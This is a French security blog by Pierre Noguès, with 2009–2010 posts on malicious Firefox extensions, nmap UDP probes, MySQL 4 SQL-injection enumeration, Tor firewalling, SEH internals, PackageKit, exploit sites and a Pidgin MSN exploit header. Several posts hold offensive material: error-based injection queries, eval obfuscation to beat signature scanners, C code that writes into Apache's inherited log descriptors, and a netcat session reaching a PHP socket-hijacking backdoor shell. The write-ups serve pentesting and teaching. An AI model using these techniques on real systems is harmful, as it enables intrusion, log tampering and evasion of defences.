Pierre Noguès

Firefox malware discovered

Pierre — Sun, 07 Feb 2010 17:36:23 +0000

Il fut un temps où je m’étais posé la question de savoir s’il était possible de diffuser une extension vérolée pour Firefox ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui…

En effet, Mozilla vient d’annoncer sur son security blog que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses n’affectent que les systèmes Windows, il s’agit probablement d’un binaire embarqué qui est exécuté par l’extension… Rien de bien révolutionnaire.

Il faut savoir qu’une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP…), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall…

D’après les dires du security blog, Mozilla utilise plusieurs scanners anti-malware pour éviter ce genre de désagrément :

These were not originally detected with the anti-malware scanning tools that we have been using.

Cependant, j’aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction eval() permet d’interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.

// var signature = "something_bad();";
var signature_crypt = "XAQDFQDFQSDFQSDF";
eval(decrypt(signature_crypt));

Bien sûr, il est possible que les supers scanners de Mozilla gère ce type d’obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus… FEAR.

Nmap, scan UDP applicatif

Pierre — Mon, 01 Feb 2010 08:01:15 +0000

Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter le scan de port applicatif sur le protocole UDP. Voici un extrait du changelog de la dernière version de nmap :

o For some UDP ports, Nmap will now send a protocol-specific payload
that is more likely to get a response than an empty packet is. This
improves the effectiveness of probes to those ports for host
discovery, and also makes an open port more likely to be classified
open rather than open|filtered. The ports and payloads are defined
in payload.cc. The ports that have a payload are 7 (echo),
53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),
177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),
2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]

Par scan applicatif j’entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu’il reçoit bien une réponse DNS afin de déterminer si le service est open.

Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :

/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
 
  Some of them are taken from nmap-service-probes.
*/
 
static const char payload_GenericLines[] = "\x0D\x0A\x0D\x0A";
static const char payload_DNSStatusRequest[] =
  "\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00";
static const char payload_RPCCheck[] =
  "\x72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0"
  "\x00\x01\x97\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00";

C’est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur l’absence de réponse ICMP pour déterminer si un port UDP est open (du moins pour les ports cités dans le changelog).

Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:

pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
 
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
 
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

Enumération des tables sous Mysql 4

Pierre — Wed, 30 Dec 2009 18:32:33 +0000

Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l’on fait une injection SQL avec une base de données Mysql 4. Ha oui, c’est tout de suite plus difficile sans information_schema !

Le premier tips c’est en utilisant la fonction PROCEDURE ANALYSE(). Look :

mysql> SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)

Youpi, la requête nous liste les noms des colonnes, la table et la base de données concernées par la requête ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : Field_name | Min_value | Max_value | ... au lieu de idClient | name | pass. Concrètement, cela veut dire qu’on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table ( $row[0] et pas $row["idClient"] ), ce qui est plutôt rare…

Un autre truc (corrigé sur Mysql 5.1) que j’ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l’on a découvert le nom de la table on peut tester un truc dans le genre :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
 
ERROR 1241 (21000): Operand should contain 3 column(s)

Youpi car ça nous retourne le nombre de colonnes, mais c’est maintenant que ça devient intéressant, toujours à l’aide des messages d’erreurs on va pouvoir lister le nom de chacune d’entre elles :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
 
"Column 'idClient' cannot be null"

Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l’attribut NOT NULL

Bon allez, j’arrête de donner des petits trucs foireux, passons aux choses sérieuses avec ce script maison en PERL qui cherche les noms des tables à partir d’une wordlist :

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Table found : client
 
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
 
[*] Column found : name
[*] Column found : pass

Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l’attaque en fonction l’injection… J’espère que vous comprendrez, sinon tant pis

Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).

Passez de joyeuses fêtes !

Sécuriser Tor avec iptables

Pierre — Fri, 18 Dec 2009 12:28:57 +0000

Voici une petite astuce pour être sûr de n’avoir aucune fuite en utilisant le proxy Tor.

Vous connaissez surement l’indispensable extension torbutton qui permet de bloquer tous les plugins (Java, Flash, …) susceptibles de leaker votre adresse IP, que je vous recommande d’ailleurs d’utiliser dans un profile Firefox différent avec le minimum vital niveau extension.

Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s’assurer qu’elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c’est à dire en autorisant uniquement les connexions du processus tor via un firewall. Voici comment faire avec iptables.

Tout d’abord, il est nécessaire de créer un utilisateur pour tor et d’exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l’utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration torrc :

User tor

Ensuite il nous reste à configurer iptables :

# Vide les règles déjà présentes
iptables -F INPUT
iptables -F OUTPUT
 
# Bloque tout par défaut
iptables -P INPUT DROP
iptables -P OUTPUT DROP
 
# Autorise toutes les connexions locales
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
 
# Autorise uniquement les processus de l'utilisateur tor à établir des connexions
iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT
 
# Accepte uniquement les connexions que l'on a initiées
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
 
# Sauvegarde le tout 
iptables-save > /etc/iptables/tor

Et voilà, lors de l’utilisation de Tor on pourra mettre en place ces règles iptables afin d’être sur de communiquer uniquement via ce réseau.

iptables-restore < /etc/iptables/tor

Détourner Apache via PHP

Pierre — Mon, 07 Dec 2009 15:51:49 +0000

Hello, il y a peu, je me suis rendu compte que l’on pouvait écrire dans les logs Apache à partir d’un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d’un simple script php d’écouter sur le port 80 et de détourner toutes les requêtes faites vers le serveur web… Le comble c’est que cette faille est connue depuis que le mod_php existe sur Apache !

Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d’exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l’on exécute le code suivant :


    print posix_getpid()."\n";
    flush();
    sleep(30);    
?>

Et que l’on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :

root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log
 
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode

On peut voir que le processus en cours, qui n’est rien d’autre qu’un simple script php exécuté avec les droits d’Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80…

Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d’exécuter un fichier binaire ( la fonction system() par exemple) .

Le code suivant permet d’écrire n’importe quoi dans tous les logs Apache :

int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;
 
    for (fd=0; fd<getdtablesize(); fd++) {
        memset(&fileinfo, 0,sizeof(fileinfo));
        if(!fstat(fd, &fileinfo)){
            if( S_ISREG(fileinfo.st_mode)){
                if( (flag = fcntl(fd, F_GETFL)) != -1 && (flag & O_WRONLY) ){
                    if( (count = write(fd, buffer, 5)) == -1)
                        printf( "%s ",strerror(errno));
                    else
                        printf(" %d ",count);
                }
                printf("\n");
            }                
        }
    }
    return 1;
}

Déterminer clairement quel est le fichier de log ouvert à partir d’un descripteur de fichier reste difficile, on obtient facilement l’inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.

J’étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un déscripteur de fichier ( man fcntl )… On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).

Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept monstrueuse que j’ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.

La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu’une banale r57shell ou autre c99.

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
 
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...

Longue vie à PHP.

Un dictionnaire ciblé pour les attaques bruteforce

Pierre — Tue, 01 Dec 2009 09:42:40 +0000

Aujourd’hui je vais vous présenter rapidement un petit tool sympa pour la recherche d’informations : Cewl. Il permet de générer un dictionnaire à partir d’un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une wordlist comportant tout le jargon du domaine en question… Ça peut toujours permettre de cracker quelques mots de passe supplémentaires

Dans le même genre je connaissais wyd.pl mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu’avec Cewl tout est fait en une seule ligne de commande (même s’il faudra faire un peu le ménage à coup de grep/diff/comm).

Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme metagoofil et theharverster qui utilise les moteurs de recherche).

Bon voici comment ça marche :

pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie

Facile non ? Bon j’ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d’une longueur > 20.

Pour les feignants(noob?) comme moi qui ne jurent que par apt-get, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de gem install lib_ruby, elles sont installées dans /var/lib/gems/1.8/gems/nom_de_la_lib/lib/ alors que le path des librairies ruby est /usr/lib/ruby/1.8/nom_de_la_lib sur Ubuntu.

Introduction au Structured Exception Handler

Pierre — Thu, 19 Nov 2009 15:38:44 +0000

Bon, c’est un veil article que j’avais écrit lorsque j’étudiais les buffer overflow sous Windows, il devait traiter des structured exception handler, de leur exploitation dans les débordements de tampon et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n’arrivera jamais, alors je vais déjà lâcher cette introduction au SEH qui aidera peut être un pauvre internaute perdu sur Google. Attention ça peut donner mal au crane.

C’est quoi un SEH ?

C’est un gestionnaire d’exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :

Les exceptions materielles : typiquement un ACCESS_VIOLATION ou DIVISION_BY_ZERO, c’est le style d’exception que l’on rencontre le plus souvent.
Les exceptions logicielles : c’est le programmeur lui même qui créé ce type d’exception, il les déclenche à l’aide d’une fonction RaiseException() . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu’il n’arrive plus à allouer de mémoire.

Un SEH est responsable d’une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d’autre SEH qui gère eux aussi d’autre portion de code.

SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]

Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu’un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d’une liste chainée dans la pile (on verra çà plus en détail après).

Que se passe-t-il lorsqu’une exception est déclenchée ?

Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des registres du processeur ( le contexte ) qu’il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction KiUserExceptionDispatcher() de ntdll.dll.

Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l’exception. S’il n’y a pas de débuggeur, ou qu’il ne gère pas l’erreur, l’exception va être retransmise au premier SEH, c’est à dire celui qui est le plus proche de là où a été générée l’exception. Ce gestionnaire va alors regarder s’il est capable de gérer l’exception :

S’il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d’obtenir des informations sur la cause de l’erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d’essayer de corriger l’erreur par modification de variable, des registres… Dans tous les cas il pourra choisir de reprendre l’exécution là où l’erreur à eu lieu ou bien après la portion de code qu’il protège.
S’il n’est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu’à atteindre le dernier SEH.

Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l’état des registres et faire un appel à ExitProcess() pour quitter l’application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time…

Au niveau assembleur

Les SEH sont stockés dans la pile sous forme d’une liste chainée. La structure d’un SEH est de la forme :

_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends

prev représente un pointeur sur le précédent SEH et handler est un pointeur vers la fonction qui va être appelée lorsqu’une exception sera levé.

Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu’une liste de SEH est propre à un thread et non à un processus.

fs:[0] pointe toujours vers le dernier SEH installé,c’est le premier qui sera appelé en cas d’exception.

Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l’entrée dans le main()/WinMain() . Si une exception est déclenchée et qu’aucun SEH n’a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C’est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction SetUnhandledExceptionFilter() .

Pour mettre en place un SEH en assembleur on peut procéder de cette manière :

; adresse du handler
push handler
; adresse de la structure SEH précédente
push fs:[0]
; fait pointer fs:[0] vers notre nouveau SEH
mov fs:[0],esp
; ici le code protégé par le seh
; ...
 
;on enléve le SEH
pop fs:[0]
add esp,4
ret
 
; notre handler
handler:
; ...

Une fois dans le handler
Lorsque le handler d’un SEH est appelé, des informations concernant l’exception sont mis en place sur la pile :

ESP + 0×4	EXCEPTION_RECORD
ESP + 0×8	Le SEH
ESP + 0xC	CONTEXT (cf WinNT.h)

La structure EXCEPTION_RECORD contient des informations sur l’exception comme :

Le code de l’exception (ACCESS_VIOLATION, etc.)
Les flags : par exemple ils permettent de savoir si c’est une exception non continuable, si on est dans l’appel du stack unwinding (2éme appel du handler cf après)…
L’adresse où a eu lieu l’exception.

C’est à partir de cette structure que le handler va pouvoir déterminer s’il a la capacité de gérer une exception.

La structure CONTEXT permet d’avoir des informations sur l’état des registres lorsque l’exception a eu lieu, c’est cette structure qu’il faut modifier si on veut reprendre l’exécution à un autre endroit en modifiant EIP.

Et enfin un pointeur vers le SEH que l’on avait mis sur la pile pour garder la portion de code où a eu lieu l’exception. Le fait d’avoir un pointeur vers ce SEH signifie que l’on peut construire un SEH personnalisé afin d’y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d’avoir une adresse pour reprendre l’exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :

.386                      ; force 32 bit code
.model flat, stdcall      ; memory model & calling convention
option casemap :none      ; case sensitive
 
include c:\masm32\include\windows.inc
 
MYSEH STRUCT
	prev		DWORD ?
	handler	DWORD ?
	safeeip	DWORD ?
MYSEH ENDS
 
.code
start:
 
main PROC
assume fs:nothing
 
; on mets en place un SEH étendu
push safeip			; notre champ supplémentaire safeeip
push handler		; le handler
push fs:[0]			; l'adresse du SEH suivant
 
mov fs:[0],esp		; on installe notre seh
 
xor eax,eax
mov [eax],eax		; on génére un ACCESS_VIOLATION
jmp endx
 
handler:
; esp == ret eip
; esp + 0x04 == EXCEPTION_RECORD*
; esp + 0x08 == MYSEH*
; esp + 0x0C == CONTEXT
 
; est ce un ACCESS_VIOLATION ?
mov ebx,[esp+04h]
cmp (EXCEPTION_RECORD PTR [ebx]).ExceptionCode, 0C0000005h
jz AViol
 
; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant
mov eax,ExceptionContinueSearch
ret
 
AViol:
; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip
mov ebx,[esp+08h]	; ecx == MYSEH
mov ecx,[esp+0Ch]	; ebx == CONTEXT
 
mov edx,(MYSEH PTR [ebx]).safeeip
mov (CONTEXT PTR [ecx]).regEip, edx
 
mov eax, ExceptionContinueExecution
ret
 
safeip:
endx:
; on enléve le SEH et restaure l'ancien
pop fs:[0]
add esp,8
 
ret
 
main endp
end start

Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le EXCEPTION_REGISTRATION vu au début.

The stack unwinding

En réalité le handler d’un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l’exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag EH_UNWINDING au niveau des Exceptions Flag de la structure EXCEPTION_RECORD pour que les handlers puissent différencier les 2 appels.

Ici l’action est bien déclenchée par le handler qui gère l’exception et non par le système, c’est à dire que c’est au programmeur d’implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction RtlUnwind() (cf l’article de J. Gorgon pour plus d’info ) .

Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l’exception, par exemple c’est à ce moment qu’il est utile de fermer les handles, libérer la mémoire… Concrètement ce deuxième appel correspond au bloc __finaly en C.

De plus, si l’exécution reprend à partir d’un SEH de niveau supérieur, alors le stack unwinding est également responsable d’enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c’est à dire les SEH qui ne porte plus sur le code courant ).

Voilà c’est tout pour aujourd’hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d’un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).

Réferences :

http://www.microsoft.com/msj/0197/Exception/Exception.aspx

http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx

Fedora12 + PackageKit : Insecure (ou pas)

Pierre — Thu, 19 Nov 2009 09:38:07 +0000

La nouvelle distribution Fedora 12 vient de sortir. Elle nous arrive avec une nouvelle fonctionnalité/faille qui fait pas mal de bruit chez les fédoriens en ce moment : PackageKit. Cet outil permet à un utilisateur non privilégié d’installer des packages sur la machine. Alors, Faille ou Fonctionnalité ?

Regardez plutôt comment ça marche :

Voici une commande que j’exécute avec un compte non privilégié dans une console lancé via l’inteface graphique :

[pierre@localhost ~]$ id
uid=500(pierre) gid=500(pierre) groups=500(pierre) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[pierre@localhost ~]$ whereis samba
samba:
[pierre@localhost ~]$ pkcon install samba
Simulating install            [=========================]         
Installing packages           [=========================]         
Getting information           [=========================]         
Resolving dependencies        [=========================]         
The following packages have to be installed:
 samba-common-3.4.2-47.fc12.i686	Files used by both Samba servers and clients
Proceed with changes? [N/y]   [=========================]         
Installing                    [=========================]         
Waiting for authentication    [=========================]         
Resolving dependencies        [=========================]         
Downloading packages          [=========================]         
Testing changes               [=========================]         
Installing packages           [=========================]         
Scanning applications         [=========================]         
[pierre@localhost ~]$ whereis samba
samba: /etc/samba /usr/lib/samba /usr/share/man/man7/samba.7.gz

En voyant ça, on pourrait se dire que cela pose des problèmes de sécurité et d’administration… Un simple utilisateur pourrait installer des logiciels avec des failles de sécurité, écraser, modifier des fichiers de configuration et surtout d’installer des fichiers suid root potentiellement vulnérables (encore faut il trouver LE package). D’ailleurs, sur les mailing list on peut lire plein de choses sympathiques, dont beaucoup dans le genre : FEDORA 12 REMOTE ROOT EXPLOIT, mais sans preuve de concept (oui tout de suite, ça devient beaucoup plus compliqué).

Avant de s’alarmer, il faut relativiser :

Cette commande n’est utilisable qu’en local (graphique ou console). Si un pirate compromet un compte via SSH ou trouve une faille dans votre serveur Web et exécute des commandes via l’utilisateur Apache : il ne pourra pas installer de logiciels à partir des dépôts.
Par défaut, seul les packages du repo signés par Fedora sont installables, or, Fedora les tient à jour, il faudrait donc un 0-day pour rooter le serveur (ce qui complique beaucoup la chose).
J’ai remarqué en installant samba, que le service n’était pas lancé par défaut, il est donc impossible de lancer directement un service vulnérable via cette commande (à confirmer).
Et enfin, Fedora c’est plutôt une distribution de test (2 ou 3 nouvelles versions / an), de bureautique et pas trop utilisé en prod, ils ont intégré ce package afin de simplifier la vie des utilisateurs.

La commande pour désactiver packagekit est la suivante :

pklalockdown --lockdown org.freedesktop.packagekit.package-install

En conclusion, même si un Linuxien élite réussit à trouver un trick pour rooter le serveur via PackageSite, l’impact sera très limité.

Par contre, si ça peut vous rassurer, il est nécessaire d’avoir le mot de passe root pour désinstaller des package

Milw0rm est mort, où trouver des exploits ?

Pierre — Wed, 18 Nov 2009 10:13:10 +0000

Milw0rm n’est plus mis à jour depuis fin septembre, d’ailleurs on ne sait pas trop ce que fait str0ke, le webmaster du site en question, qui ne s’est pas prononcé là-dessus. Milw0rm était la référence en matière d’exploit.

Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité informatique. Hormis Offensive Security, peu de prétendants se sont présentés pour prendre la relève de milw0rm (Pourtant, il y avait gros à jouer en terme de référencement Web).

Heureusement, milw0rm n’est pas l’unique site recensant des exploits, voici une petite liste de sites et de frameworks toujours à jour, que j’ai pu glaner ici et là au fil du temps:

Offensive security : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.
Metasploit : On ne le présente plus, principalement orienté système et réseaux, il contient peu d’exploits web. svn update régulier indispensable pour le tenir à jour.
Security Focus : Il s’agit plus d’une base de vulnérabilités que d’une liste d’exploits, cependant les exploits y restent nombreux.
Packet Storm Security : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d’exploit et un fil RSS dédié à celle-ci.
sebug : J’ai découvert ce site hier, pas mal d’exploits dessus, mais aussi beaucoup de vulns.
Security Reason : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d’ailleurs publié récemment un exploit bypass openbase_dir php drôlement sympathique .
Bugtraq : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.
Full Disclosure : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l’on peut passer à coté de ces petites perles .

On peut ajouter à cette liste l’Open Source Vulnerability Database, le Common Vulnerabilities Exposures et la National Vulnerability Database qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.

Bien entendu cette liste n’est pas exhaustive, si vous connaissez d’autres sites qui valent le coup n’hésitez pas à les signaler en commentaire.

Exploit Pidgin MSN 2.5.8 exécution de code à distance

Pierre — Sat, 14 Nov 2009 15:48:46 +0000

/*
* Pidgin MSN <= 2.5.8 Remote Code Execution
*
* Pierre Nogues - pierz@hotmail.it
* http://www.indahax.com/
*
*
* Description:
*        Pidgin is a multi-protocol Instant Messenger.
*
*        This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
*        The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
*        which could lead to memory corruption.
*
* Affected versions :
*        Pidgin <= 2.5.8, Adium and other IM using Pidgin-libpurple/libmsn library.
*
* Plateforms :
*        Windows, Linux, Mac
*
* Fix :
*        Fixed in Pidgin 2.5.9
*        Update to the latest version : http://www.pidgin.im/download/
*
* References :
*        [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694
*        [2] http://www.coresecurity.com/content/libpurple-arbitrary-write
*        [3] http://www.pidgin.im/news/security/?id=34
*
* Usage :
*        You need the Java MSN Messenger library : http://sourceforge.net/projects/java-jml/
*        javac.exe -cp "%classpath%;.\jml-1.0b3-full.jar" PidginExploit.java
